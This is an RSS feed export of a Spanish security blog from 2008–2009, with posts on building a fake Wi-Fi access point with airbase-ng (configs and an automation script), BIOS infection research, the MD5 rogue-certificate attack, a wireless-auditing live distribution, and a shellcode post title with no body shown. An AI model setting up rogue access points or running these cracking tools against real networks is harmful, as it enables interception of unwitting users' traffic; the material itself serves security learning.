<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SafetyBits &#187; sch3m4</title>
	<atom:link href="http://safetybits.net/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://safetybits.net</link>
	<description>Development &#38; Security Research</description>
	<lastBuildDate>Wed, 16 May 2012 17:37:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Creando un punto de acceso falso (airbase-ng)</title>
		<link>http://safetybits.net/2009/03/20/creando-un-punto-de-acceso-falso-airbase-ng/</link>
		<comments>http://safetybits.net/2009/03/20/creando-un-punto-de-acceso-falso-airbase-ng/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 18:27:07 +0000</pubDate>
		<dc:creator>sch3m4</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://safetybits.net/?p=184</guid>
		<description><![CDATA[<a href="http://safetybits.net/2009/03/20/creando-un-punto-de-acceso-falso-airbase-ng/" title="Creando un punto de acceso falso (airbase-ng)"></a>POST ACTUALIZADO: http://safetybits.net/2009/10/05/creando-un-punto-de-acceso-falso-ii/ Hasta hace relativamente poco tiempo, una condición necesaria para crear un punto de acceso era que el driver de nuestra tarjeta debía de soportar el modo &#8220;master&#8221; (ej: chipsets atheros), pero como no todos cumplimos en un &#8230;<p class="read-more"><a href="http://safetybits.net/2009/03/20/creando-un-punto-de-acceso-falso-airbase-ng/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://safetybits.net/2009/03/20/creando-un-punto-de-acceso-falso-airbase-ng/" title="Creando un punto de acceso falso (airbase-ng)"></a><p><em><span style="color: #ff0000;"><strong>POST ACTUALIZADO:</strong></span></em> <a href="http://safetybits.net/2009/10/05/creando-un-punto-de-acceso-falso-ii/" target="_self">http://safetybits.net/2009/10/05/creando-un-punto-de-acceso-falso-ii/</a></p>
<p>Hasta hace relativamente poco tiempo, una condición necesaria para crear un punto de acceso era que el driver de nuestra tarjeta debía de soportar el modo &#8220;master&#8221; (ej: chipsets atheros), pero como no todos cumplimos en un determinado momento esta condición, los desarrolladores de la suite &#8220;aircrack-ng&#8221; están desarrollando una herramienta llamada &#8220;airbase-ng&#8221;, cuyo propósito es el de poder crear un punto de acceso a partir de una interface de red en modo monitor.</p>
<p>Si visitamos la <a href="http://www.aircrack-ng.org/doku.php?id=airbase-ng" target="_blank">página</a> de la documentación de la herramienta,  veremos entre otras cosas, que podemos usar esta herramienta tanto para montar un AP para dar conexión a internet, como para realizar auditorías en redes wireless con protección WEP/WPA/WPA2, pero también vemos el siguiente mensaje:</p>
<blockquote><p>++++++ IMPORTANT ++++++<br />
++++++ IMPORTANT ++++++<br />
++++++ IMPORTANT ++++++</p>
<p>This functionality will be available in a future release. It is NOT available currently.</p>
<p>++++++ IMPORTANT ++++++<br />
++++++ IMPORTANT ++++++<br />
++++++ IMPORTANT ++++++</p></blockquote>
<p>Esta herramienta no está disponible en la descarga de la versión estable de la suite, pero podemos descargarnos la suite completa desde el CVS de la siguiente manera:</p>
<blockquote><p>$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng<br />
$ make<br />
# make install</p></blockquote>
<p>Repasemos los requisitos necesarios para crear un punto de acceso funcional:</p>
<ul>
<li>Servidor DHCP</li>
<li>Servidor DNS</li>
</ul>
<p>En mi caso, usaré como servidor DHCP &#8220;dhcp3-server&#8221; y como servidor DNS &#8220;bind9&#8243; (en distribuciones basadas en Debian GNU/Linux: apt-get install dhcp3-server bind9).</p>
<p>Hecho esto, vamos a configurar el servidor DHCP (una configuración básica), para ello editamos el archivo &#8220;/etc/dhcp3/dhcpd.conf&#8221;, de manera que tengamos únicamente las siguientes entradas sin comentar:</p>
<blockquote><p>ddns-update-style none;<br />
option domain-name-servers 10.0.0.1;<br />
default-lease-time 60;<br />
max-lease-time 72;<br />
authoritative;<br />
log-facility local7;<br />
subnet 10.0.0.0 netmask 255.255.255.0 {<br />
range 10.0.0.33 10.0.0.254;<br />
option routers 10.0.0.1;<br />
option domain-name-servers 10.0.0.1;<br />
}</p></blockquote>
<p>Una vez hecho esto, vamos a crear un punto de acceso sin encriptación, proporcionando acceso a internet a los clientes, con lo que suponiendo:</p>
<ul>
<li>ath0 &#8212;&gt; Conectada a internet</li>
<li>ath1 &#8212;&gt; Modo monitor</li>
</ul>
<p>Usaremos &#8220;ath1&#8243; para crear el AP con airbase-ng, y &#8220;ath0&#8243; para dar conexión a los clientes, con lo que procederemos de la siguiente manera:</p>
<p><strong><em>Creamos el punto de acceso:</em></strong></p>
<pre><code>blanquito:/# airbase-ng -P -C 2 -c 6 --essid Wifli_Gratis ath1
19:04:40  Created tap interface at0
19:04:40  Trying to set MTU on at0 to 1500
19:04:40  Trying to set MTU on ath1 to 1800
19:04:40  Access Point with BSSID XX:XX:XX:XX:XX:XX started.</code></pre>
<p>Podemos asegurarnos que se ha creado haciendo:</p>
<pre><code>blanquito:/# iwlist ath0 scan | grep ifli
             ESSID: "Wifli_Gratis"</code></pre>
<p>Como vemos, se ha creado una interface virtual llamada &#8220;at0&#8243;, que será con la que trabajemos de aquí en adelante, ya que de haber creado un AP con cifrado WEP, esta sería la interface que tendría todos los paquetes descifrados, de manera que la levantamos de la siguiente manera:</p>
<pre><code>blanquito:/# </code>ifconfig at0 10.0.0.1 netmask 255.0.0.0 up</pre>
<p>Una vez hecho esto, iniciamos el servidor DHCP indicándole el fichero de configuració y la interface de red con la que debe trabajar:</p>
<pre><code>blanquito:/# /etc/init.d/dhcpd3-server stop
blanquito:/# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 2 leases to leases file.
Listening on LPF/at0/XX:XX:XX:XX:XX:XX/10.0.0/24
Sending on   LPF/at0/XX:XX:XX:XX:XX:XX/10.0.0/24
Sending on   Socket/fallback/fallback-net</code></pre>
<p>El siguiente paso, es iniciar el servidor DNS para la resolución de nombres:</p>
<pre><code>blanquito:/# /etc/init.d/bind9 restart</code></pre>
<p>Los últimos pasos que vamos a relaizar serán, activar el ip forwarding, y agregar unas reglas a la tabla &#8220;nat&#8221; de iptables para poder dar acceso a internet a los clientes, por tanto:</p>
<pre><code>blanquito:/# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
blanquito:/# iptables -t nat -F
blanquito:/# iptables -t nat -A PREROUTING -i ath0 -j REDIRECT
blanquito:/# iptables -t nat -A POSTROUTING -o ath0 -j MASQUERADE</code></pre>
<p>Y con esto ya estará todo listo, tendremos un AP y los clientes tendrán acceso a internet, pero como todos estos pasos son un poco engorrosos, lo mejor es hacerse un script que automatice todo el proceso.</p>
<p>Aquí os pongo el mío, y una nota importante, los parámetros extra que se le pasen al script, los pasará a &#8220;airbase-ng&#8221;.</p>
<pre><code>#!/bin/sh
#
# Script para crear un punto de acceso usando airbase-ng
#
# Argumentos basicos: interface_conexion interface_monitor ip_gw mascara
#
#

RUTA_WLANCONFIG="/usr/local/bin/wlanconfig" #Solo para crear la interface monitor con chipsets atheros
RUTA_AIRBASE="/usr/local/sbin/airbase-ng"
RUTA_BIND9="/etc/init.d/bind9" #script de inicio
RUTA_DHCPD3S="/etc/init.d/dhcp3-server" #script de inicio
RUTA_DHCPD3="/usr/sbin/dhcpd3"
RUTA_CFG_DHCPD3="/etc/dhcp3/dhcpd.conf"
RUTA_SYSCTL="/sbin/sysctl"
RUTA_IPTABLES="/sbin/iptables"

OPC_CREAR="-m"

clear
echo "###############################"
echo "#           SCRIWAP           #"
echo "#=============================#"
echo "#  Chema Garcia (aka sch3m4)  #"
echo "#      sch3m4@safetybits.net      #"
echo "#      http://safetybits.net      #"
echo "###############################"
echo ""

if [ "$UID" -ne 0 ]
then
	echo "[!] Has de ser root!"
	exit 0
fi

if [ "$#" -lt 3 ]
then
	echo "Uso: " $0 "      "
	echo ""
	echo "Ej:  " $0 " eth0 wlan0 192.168.1.1 255.255.255.0"
	echo ""
	echo "Opciones:"
	echo "         -m ---&amp;gt; Crear interface monitor (Chipsets Atheros)"
	echo ""
	exit 0
fi

#comienzo de parametros de airbase
num=5

#comprobamos si debemos crear la interface
if [ $# -ge 5 ] &amp;amp;&amp;amp; [ "$5" = "$OPC_CREAR" ]
then
	let num=$num+1
	echo "[+] Creando interface $2"
	$RUTA_WLANCONFIG $2 destroy 2&amp;gt;/dev/null
	$RUTA_WLANCONFIG $2 create wlanmode monitor wlandev wifi0 &amp;gt;/dev/null
fi
iface=$2
ip=$3
mascara=$4
var=$#
if [ $num -eq 5 ]
then
	while [ $# -gt 0 ] &amp;amp;&amp;amp; [ $num -le $var ];do
		param="$param $5"
		shift
		num=$(($num+1))
	done
else
        while [ $# -gt 0 ] &amp;amp;&amp;amp; [ $num -le $var ];do
                param="$param $6"
		shift
                num=$(($num+1))
        done
fi
param="$param $iface"

#Activamos el IP Forwarding
echo "[+] Activando IP Forwarding"
$RUTA_SYSCTL net.ipv4.ip_forward=1 &amp;gt;/dev/null

#Limpiamos la tabla 'nat' de iptables y agregamos nuestras reglas
echo "[+] Limpiando tabla 'nat' de iptables"
$RUTA_IPTABLES -t nat -F

echo "[+] Agregando reglas PREROUTING y POSTROUTING"
$RUTA_IPTABLES -t nat -A PREROUTING -i $iface -j REDIRECT
$RUTA_IPTABLES -t nat -A POSTROUTING -o $iface -j MASQUERADE

echo "[+] Creando punto de acceso"
rmmod tun 2&amp;gt;/dev/null
xterm -e $RUTA_AIRBASE $param &amp;amp;
sleep 3

echo "[+] Levantando interface at0"
ifconfig at0 $ip netmask $mascara up

echo "[+] Reiniciando servidor DHCP"
$RUTA_DHCPD3S stop &amp;gt;/dev/null
$RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 at0 2&amp;gt;/dev/null

echo "[+] Reiniciando servidor DNS"
$RUTA_BIND9 restart &amp;gt;/dev/null

echo ""
echo "[+] Finalizado!"
echo ""</code></pre>
<p>Para usar este script en el ejemplo anterior, sería algo así:</p>
<pre><code>./ap.sh ath0 ath1 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli_Gratis</code></pre>
<p>En el foro de seguridadwireless hay un post sobre cómo hacer balanceo de carga entre redes: <a href="http://foro.seguridadwireless.net/zona-linux/balanceo-de-carga-en-linux/" target="_blank">http://foro.seguridadwireless.net/zona-linux/balanceo-de-carga-en-linux/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://safetybits.net/2009/03/20/creando-un-punto-de-acceso-falso-airbase-ng/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Persistent BIOS Infection &#8211; CanSecWest</title>
		<link>http://safetybits.net/2009/02/04/persistent-bios-infection-cansecwest/</link>
		<comments>http://safetybits.net/2009/02/04/persistent-bios-infection-cansecwest/#comments</comments>
		<pubDate>Wed, 04 Feb 2009 15:05:00 +0000</pubDate>
		<dc:creator>sch3m4</dc:creator>
				<category><![CDATA[Programacion]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://safetybits.net/?p=163</guid>
		<description><![CDATA[<a href="http://safetybits.net/2009/02/04/persistent-bios-infection-cansecwest/" title="Persistent BIOS Infection - CanSecWest"></a>Acabo de leer en el blog de Anibal Sacco (Exploiting Stuff) un proyecto (Persistent BIOS Infection) que será presentado en el CanSecWest que tendrá lugar del 16 al 22 de Marzo en Vancouver en el que han participado Anibal Sacco &#8230;<p class="read-more"><a href="http://safetybits.net/2009/02/04/persistent-bios-infection-cansecwest/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://safetybits.net/2009/02/04/persistent-bios-infection-cansecwest/" title="Persistent BIOS Infection - CanSecWest"></a><p>Acabo de leer en el blog de Anibal Sacco (<a href="http://exploiting.wordpress.com/" target="_blank">Exploiting Stuff</a>) un proyecto (<a href="http://exploiting.wordpress.com/2009/02/02/persistent-bios-infection-cansecwest/" target="_blank">Persistent BIOS Infection</a>) que será presentado en el CanSecWest que tendrá lugar del 16 al 22 de Marzo en Vancouver en el que han participado Anibal Sacco y Alfredo Ortega, sobre la inyección y ejecución de código en el chip del BIOS.</p>
<p>De momento no hay demasiada información publicada, pero podéis seguir los avances tanto en mi blog, como en el de Anibal Sacco.</p>
<p><strong><em>Noticia Original:</em></strong></p>
<div class="snap_preview">
<p><em>After some time without news -as is usual around here- im back again, ready to say that i was confirmed as speaker at the CanSecWest conference that will be held March 16-20, at Vancouver, BC. </em></p>
<p><em>We will give a talk about a project what we’ve been working on with Alfredo Ortega (you know, the OpenBSD guy  <img class="wp-smiley" src="http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif" alt=":)" /> ) about a new generic binary method to get malicious code injected and executed into the computer BIOS. Yeah, that cute little chip…</em></p>
<p><em>I will post more details about the conference in some time. In the meanwhile, you can get more info from </em></p>
<p><em><a href="http://cansecwest.com/"target="_blank">For those who are planning to attend the conference, we (Alfred &amp; I) will be arriving 16/3, and of course, we are up for some beers. </a></em></p>
<p><em><a href="http://exploiting.wordpress.com/2009/02/02/persistent-bios-infection-cansecwest/#more-66" target="_blank">Continue reading ‘Persistent BIOS Infection - CanSecWest’</span></a></em></div>
]]></content:encoded>
			<wfw:commentRss>http://safetybits.net/2009/02/04/persistent-bios-infection-cansecwest/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MD5 Signed SSL Certificates Flaw</title>
		<link>http://safetybits.net/2009/01/21/md5-signed-ssl-certificates-flaw/</link>
		<comments>http://safetybits.net/2009/01/21/md5-signed-ssl-certificates-flaw/#comments</comments>
		<pubDate>Wed, 21 Jan 2009 19:16:27 +0000</pubDate>
		<dc:creator>sch3m4</dc:creator>
				<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://safetybits.net/?p=157</guid>
		<description><![CDATA[<a href="http://safetybits.net/2009/01/21/md5-signed-ssl-certificates-flaw/" title="MD5 Signed SSL Certificates Flaw"></a>Como ya sabemos, muchas veces lo barato termina saliendo caro, y qué mejor ejemplo que este, y es que, no cuesta lo mismo comprar un certificado con una sola firma MD5, que MD5+SHA1. El 30 de diciembre del 2008 tuvo &#8230;<p class="read-more"><a href="http://safetybits.net/2009/01/21/md5-signed-ssl-certificates-flaw/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://safetybits.net/2009/01/21/md5-signed-ssl-certificates-flaw/" title="MD5 Signed SSL Certificates Flaw"></a><p>Como ya sabemos, muchas veces lo barato termina saliendo caro, y qué mejor ejemplo que este, y es que, no cuesta lo mismo comprar un certificado con una sola firma MD5, que MD5+SHA1.</p>
<p>El 30 de diciembre del 2008 tuvo lugar el &#8220;Chaos Comunication Congress&#8221; en Berlín, donde un grupo de investigadores hicieron público una aplicación de las vulnerabilidades del algoritmo de cifrado MD5 sobre los certificados usados en SSL (Secure Socket Layer).</p>
<p>Personalmente no lo considero un <strong>fallo del SSL</strong> sino un <em>error de diseño</em>, ya que en lo que se basa, no es más que buscar una colisión de la firma MD5 de los certificados de aquellos sitios que <strong>solo usan la </strong><strong>firma MD5 para verificar el certificado</strong>, con lo que si el cliente acepta dicho certificado (las firmas, en este caso MD5), el navegador aceptará automáticamente cualquier certificado con la misma firma, pensando que es el mismo certificado.</p>
<p>Por tanto, a raíz de este error podemos suplantar el certificado del sitio y ver toda la comunicación que se lleva a cabo por SSL sin necesidad de que el usuario acepte un certificado &#8220;inválido&#8221;. Ni que decir tiene, el efecto que tendría este ataque combinado con DNS Spoofing&#8230;</p>
<p>Para saber si una entidad está afectada por este fallo, símplemente examinamos el campo &#8220;Signature Algorithm&#8221; del certificado.</p>
<p>Como era de esperar, se ha añadido un <a href="http://blog.metasploit.com/2009/01/scanning-for-md5-signed-ssl.html" target="_blank">plugin</a> para MetaSploit desarrollado por Efrain Torres, que detecta los certificados de los sitios afectados por este fallo.</p>
<p>En las siguientes imágenes se puede apreciar el diagrama que se sigue normalmente cuando un cliente realiza una conexión por SSL usando el certificado original, y el que seguiría realizando este ataque:</p>
<p><strong>Certificado Original:</strong></p>
<p><img class="alignnone" title="normal.png" src="http://www.win.tue.nl/hashclash/rogue-ca/images/normal.png" alt="" width="369" height="370" /></p>
<p><strong>Suplantación del certificado:</strong></p>
<p><img class="alignnone" title="attack.png" src="http://www.win.tue.nl/hashclash/rogue-ca/images/attack.png" alt="" width="442" height="326" /></p>
<p>Más información:</p>
<ul>
<li><a href="http://www.win.tue.nl/hashclash/rogue-ca/" target="_blank">http://www.win.tue.nl/hashclash/rogue-ca/</a></li>
<li><a href="http://www.globalsign.com/support/md5.html" target="_blank">http://www.globalsign.com/support/md5.html</a></li>
<li><a href="http://blogs.zdnet.com/security/?p=2339" target="_blank">http://blogs.zdnet.com/security/?p=2339</a></li>
<li><a href="http://news.netcraft.com/archives/2009/01/01/14_of_ssl_certificates_signed_using_vulnerable_md5_algorithm.html" target="_blank">http://news.netcraft.com/archives/2009/01/01/14_of_ssl_certificates_signed_using_vulnerable_md5_algorithm.html</a></li>
<li><a href="http://www.sslshopper.com/article-check-ssl-certificates-for-the-vulnerable-md5-algorithm.html" target="_blank">http://www.sslshopper.com/article-check-ssl-certificates-for-the-vulnerable-md5-algorithm.html</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://safetybits.net/2009/01/21/md5-signed-ssl-certificates-flaw/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WifiWay 1.0 Final</title>
		<link>http://safetybits.net/2008/12/15/wifiway-10-final/</link>
		<comments>http://safetybits.net/2008/12/15/wifiway-10-final/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 13:36:21 +0000</pubDate>
		<dc:creator>sch3m4</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://safetybits.net/?p=149</guid>
		<description><![CDATA[<a href="http://safetybits.net/2008/12/15/wifiway-10-final/" title="WifiWay 1.0 Final"></a>Después de mucho trabajo por parte del staff de seguridadwireless.net, han publicado la versión 1.0 Final de WifiWay, sin duda, una live para tener siempre a mano. Cito las características y mejoras: wifiway-1.0-final Descarga directa iso: http://download.wifislax.com:8080/wifiway-1-final.iso Tamaño: 664.6 Megas &#8230;<p class="read-more"><a href="http://safetybits.net/2008/12/15/wifiway-10-final/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://safetybits.net/2008/12/15/wifiway-10-final/" title="WifiWay 1.0 Final"></a><p>Después de mucho trabajo por parte del staff de <a href="http://foro.seguridadwireless.net/" target="_blank">seguridadwireless.net</a>, han publicado la versión 1.0 Final de WifiWay, sin duda, una live para tener siempre a mano.</p>
<p>Cito las características y mejoras:</p>
<p><span style="font-size: 14pt; line-height: 1.3em;"><span style="color: blue;">wifiway-1.0-final</span></span></p>
<p>Descarga directa iso: <a class="posted" href="http://download.wifislax.com:8080/wifiway-1-final.iso" target="_blank">http://download.wifislax.com:8080/wifiway-1-final.iso</a></p>
<p>Tamaño: <strong>664.6 Megas</strong><br />
Es inferior a la beta con mucho mas contenido gracias a las ultimas linux-live,<br />
lo cual la hacen mas rapida y menos necesidad de memoria RAM.<br />
MD5: <strong>2fac135cad7b185706bbcb9c51f45932</strong> wifiway-1-final.iso<br />
Descarga fichero MD5: <a class="posted" href="http://download.wifislax.com:8080/wifiway-1-final.iso.md5" target="_blank">http://download.wifislax.com:8080/wifiway-1-final.iso.md5</a></p>
<p><strong>Nota: No aconsejamos usar firefox 3 para la descarga del fichero ISO </strong></p>
<p><span style="color: blue;">Kernel</span></p>
<p><strong>Kernel: 2.6.27.7</strong></p>
<p>Adaptado para modo liveusb <strong> 2.6.27.7 SMP mod_unload 486</strong><br />
Mantenemos las fuentes al completo y limpias, para la posiblidad de actualizar drivers.<br />
Kernel tipo SMP permite aprovechar el 100% de los equipos con 2 nucleos, DUAL CORE</p>
<p><span style="color: blue;">Entorno grafico</span><br />
<strong>Kde: 3.5.9 estable</strong><br />
Con diferentes idiomas; castellano, ingles, aleman, portugues, catalan, vasco y frances.<br />
Por supuesto las aplicaciones tipicas del etorno grafico KDE</p>
<p>Entorno alternativo x-win<strong> Fluxbox 0.9.15.1</strong>, podemos determinar el entorno a iniciar, por defecto es el KDE</p>
<pre><code>startx		...  to start Xwindow
kde		...  to start Xwindow with KDE
flux		...  to start Xwindow with fluxbox</code></pre>
<p>Ademas referente al entorno grafico:</p>
<pre><code>autox    	...  to configure automatic the environment XWindow
autoxdefault    ...  to restore default the environment XWindow (Vesa)</code></pre>
<p>por defecto se  inicia con Vesa, asi el entorno grafico puede entrar en muchos mas equipos.</p>
<p><span style="color: blue;">Drivers mas importantes y mas utilizados a nivel universal</span></p>
<p>Modo monitor:</p>
<pre><code>airmon-ng start  &amp;lt;interface&amp;gt;</code></pre>
<p>
Permiten inyección:</p>
<pre><code>aireplay-ng -9 &amp;lt;interface&amp;gt;</code></pre>
<p>
<strong><br />
Familia ieee80211</strong><br />
Ralink USB<strong> rt2570</strong><br />
Ralink PCI <strong>rt2500</strong><br />
Ralink <strong>rt61</strong>, debido a su incompatiblidad con los madwifi, se deben cargar a traves de lanzador<br />
Ralink USB <strong>rt73</strong>, mantenemos el viejo lanzador por si carga los rt2570<br />
Atheros <strong>madwifi-hal</strong>, la primera y unica live que soporta nativamente los nuevos chipset de atheros<br />
Intel pro wireless<strong> ipw2200 </strong><br />
Realtek <strong>r8187</strong>, los de la famosa alfa blanca, la unica live que  lleva estos drivers con kernel 2.6.27<br />
Intel pro wireless 3945,<strong> ipwraw old</strong>, los primeros drivers paar estos equipos que hemos mantenido, por defecto no se cargan, se debe usar lanzador.</p>
<p><strong><br />
Familia mac80211</strong><br />
La nueva generacion de drivers, suite aircrack-ng adaptada a ellos, se trabajan con interfaces diferentes, siempre del tipo</p>
<pre><code>monX</code></pre>
<p></p>
<p>Zydas <strong>zd1211rw-mac80211</strong><br />
Intel pro wireless<strong> <strong>iwlagn</strong></strong> con firmware para las nuevas <strong>iwl4965</strong> y <strong>iwl5×00</strong>, siendo la unica live que incopora nativamente estos drivers.<br />
Intel pro wireless <strong>iwl3945</strong>, son cargados por defecto, tambien la unica live que los incluye.<br />
Broadcom <strong>b43 </strong>y <strong>b43legacy</strong>, me repito pero la unica live que los incluye</p>
<p>Ademas hemos mantenido los drivers siguientes en la ruta <strong>/opt/drivers</strong>, los cuales se deberam cargar a mano, suponemos que son mejores los nativos, si bien hemos mantenido los siguientes por si los nativos dieran problemas</p>
<p><strong>Ralink rtx200</strong><br />
<strong>Intel pro wireless ipw2×00<br />
</strong><br />
<strong>Atheros ath5k</strong><br />
<strong>Atheros ath9k </strong></p>
<p><span style="color: blue;">Navegacion</span><br />
<strong>Firefox 2.0.0.18 </strong><br />
Plugin noscript (notad que cada 2 por 3 sacan nuevos update y no podemos<br />
sacar una live cada 4 dias)<br />
Plugin ShowIP<br />
Plugin DOM Inspector<br />
Idiomas<strong> Español </strong>y Ingles<br />
<strong><br />
amsn<br />
kopete</strong></p>
<p><span style="color: blue;">Aplicaciones auditoria wireless</span></p>
<p>Suite <strong>Aircrack-ng 1.0 rc1 r1223</strong>, perfecta para trabajar con la nueva serie de drivers <strong>mac802111</strong></p>
<p>Matizamos que el aircrack-ng ejecutable es <strong>Aircrack-ng 0.9.3</strong>, esto es debido a que la serie rc1 no trabajan bien para WEP cpn diccionario (-w), indispensable para el territorio español, y que aun no han corregido a pesar de las innumerables capturas que les hemos mandado.</p>
<p>Ademas incorporamos las aplicaciones  <strong>airdecloak-ng</strong> y  <strong>Tkiptun-ng</strong>, aunque son sus versiones en fase de pruebas, no inician el tratamiento WPA de forma diferente al habitual.</p>
<p>Dentro de Aplicaciones auditoria wireless incorporamos la sección estudio de cifrados con los siguiente programas:</p>
<p><strong>jazzteldecrypter </strong><br />
<strong>stkeys</strong><br />
<strong>wlandecrypter</strong> con toda la nueva serie de MAC que ha aparecido hasta el momento.<br />
<strong>dlinkdecrypter</strong><br />
<strong>rfidtool </strong>version 0.2<br />
<strong>decsagem</strong><br />
<strong>wepattack</strong><br />
<strong>weplab </strong><br />
<strong>cowpatty</strong></p>
<p>La mayoria de esta aplicaciones llevan lanzador grafico, y tambien estan incorporadas en el nuevo<strong> airoscript</strong><br />
<strong><br />
airoscript</strong><br />
Ideal para iniciados en el analisis seguridad wireless. Mantenemos 3 versiones, la oficial en ingles, la de siempre en español, y una nueva en español con la incorporacion de jazzteldecrypter, stkeys, wlandecrypter y dlinkdecrypter</p>
<p><strong>wlaninject</strong></p>
<p><strong>wifizoo 1.3</strong></p>
<p><strong>wireshark</strong></p>
<p><strong>airpwn</strong></p>
<p><strong>hamster &amp; ferret </strong></p>
<p><span style="color: blue;">Aplicaciones wireless estandar</span></p>
<p><strong>wifi-radar<br />
Kwifimanager<br />
Wireless assisntat<br />
wifiscanner<br />
WPA-GUI</strong>: Soporte conexion grafica wpa-psk<br />
<strong>rutilt</strong> para los drivers de ralink</p>
<p><span style="color: blue;">Apliaciones extra-ocio</span></p>
<p>Un pequeño guiño al profesional o ameteur que se decica a la adutoria wireless</p>
<p><strong>Juego de ajadrez Xboard</strong>, para que no se diga que los que no dedicamos a este mundo somos unos frikis sin dos dedos de frente, y porque no, mientras esperamos a capturas petciones de ARP validas.</p>
<p><strong>Juego Papa-Patata</strong>, indispensable, para que mi hijo no se aburra mientras decido cientos de horas a realizar auditorias</p>
<p><strong>wink</strong> personalmente no lo he usado y no se para que sirve, pero muchos compañeros se empeñaron en que se pusiera, lo siento pero tenia que decirlo.</p>
<p><strong>gparted</strong> no recuerdo bien si estaba en la version beta, pero personalmente me encanta esta apliacion, que es muy util para la creacion de livecd sobre todo cuando la cagas y tienes que volver para atras, hay un liveCD con el nombre de dicha aplicacion, quizas no funcione al 100% pero es de mucha utilidad.</p>
<p><strong>netcat</strong> definido en Wikipedia como najava multiusos</p>
<p><span style="color: blue;">Nota: Hay muchas mas aplicaciones pero creemos oportuno mencionar las que hemos añadido o mejorado, esta version mantiene muchas de las aplicaciones incorporadas en versiones anteriores, por citar algun ejemplo: nmap, gFTP, KSnapshot, kedit, etc.</span></p>
<p>Como mencion especial y con todos los derechos del mundo:</p>
<p><span style="color: blue;">wifipacket</span></p>
<pre><code>Wifipacket 0.1 para seguridadwireless.net por Pianista
wifipacket [opcion] (name)
Opciones:
update --- Actualiza la lista de paquetes
list --- Lista los paquetes disponibles
install --- Instala el paquete seleccionado (-v) especifica la version a instalar
-v --- Muestra creditos de wifipacket</code></pre>
<p></p>
<p>Es una actualizador personalizado para wifiway, aplicable a wifislax en futuras versiones, que permitira en un futuro muy proximo a los seguidores de wifiway, poder actulizar su distribuccion sin tener que descargarse nuevas lives, cabe decir que es para aquellos usuarios que tienen instalado wifiway en sus equipos, usarlo para modo live, podra ser pero no con toda su pontencia, una actualizacion de la suite ng o un driver bien, pero imaginemos la actualizacion de todo un kernel entero, o de todo un kde.</p>
<p><strong>Por lo tanto se usara en el futuro para actualizaciones</strong></p>
<p>Mencion especial tambien, para el instalador exclusivo de wifiway, es una serie de programa graficos que se ejecutan desde el menu</p>
<p><strong>Menu &#8211; Sistema  &#8211;  Wifiway Install,</strong> encontramos varias  opciones, la que lo engloba todo es<br />
&gt;&gt; Install Wifiway , en idioma ingles y castellano, aunque tambien podemos encontar 3 posiblidades mostradas en versiones anterirores, copia del contenido, edicion y creacion del GRUB, modifcacion MBR, etc</p>
<p>Posiblemente algunos de vosotros ya haya vosto dicho manual y habreis pensado, pero si eso no estaba en la version beta, digamos que el manual ha salido antes que la propia live</p>
<p><strong>Logo exclusivo wifiway carga kernel</strong>, asi los copiones de siempre, por lo menos esta vez se tendran que molestar en compilar el kernel, cosa que tambien esta facilitada en la nueva wifiway, pero que son tan simples que solo la palabra compilar kernel posiblemente los heche para atras, aunque tampoco me extrañaria que dejaran el propio logo y saquen una version propia , <strong>¿se aceptan apuestas?</strong></p>
<p><strong>Carga de livecd tuneda</strong>, adaptada y exclusiva para <strong>wifiway</strong>……….venga que esta tambien es facil de modificar.</p>
]]></content:encoded>
			<wfw:commentRss>http://safetybits.net/2008/12/15/wifiway-10-final/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Smallest GNU/Linux x86 setuid(0) &amp; exec(&#8220;/bin/sh&#8221;,0,0) Stable shellcode &#8211; 28 bytes</title>
		<link>http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/</link>
		<comments>http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/#comments</comments>
		<pubDate>Wed, 26 Nov 2008 22:29:21 +0000</pubDate>
		<dc:creator>sch3m4</dc:creator>
				<category><![CDATA[ASM]]></category>
		<category><![CDATA[C/C++]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programacion]]></category>
		<category><![CDATA[Shellcodes]]></category>

		<guid isPermaLink="false">http://safetybits.net/?p=134</guid>
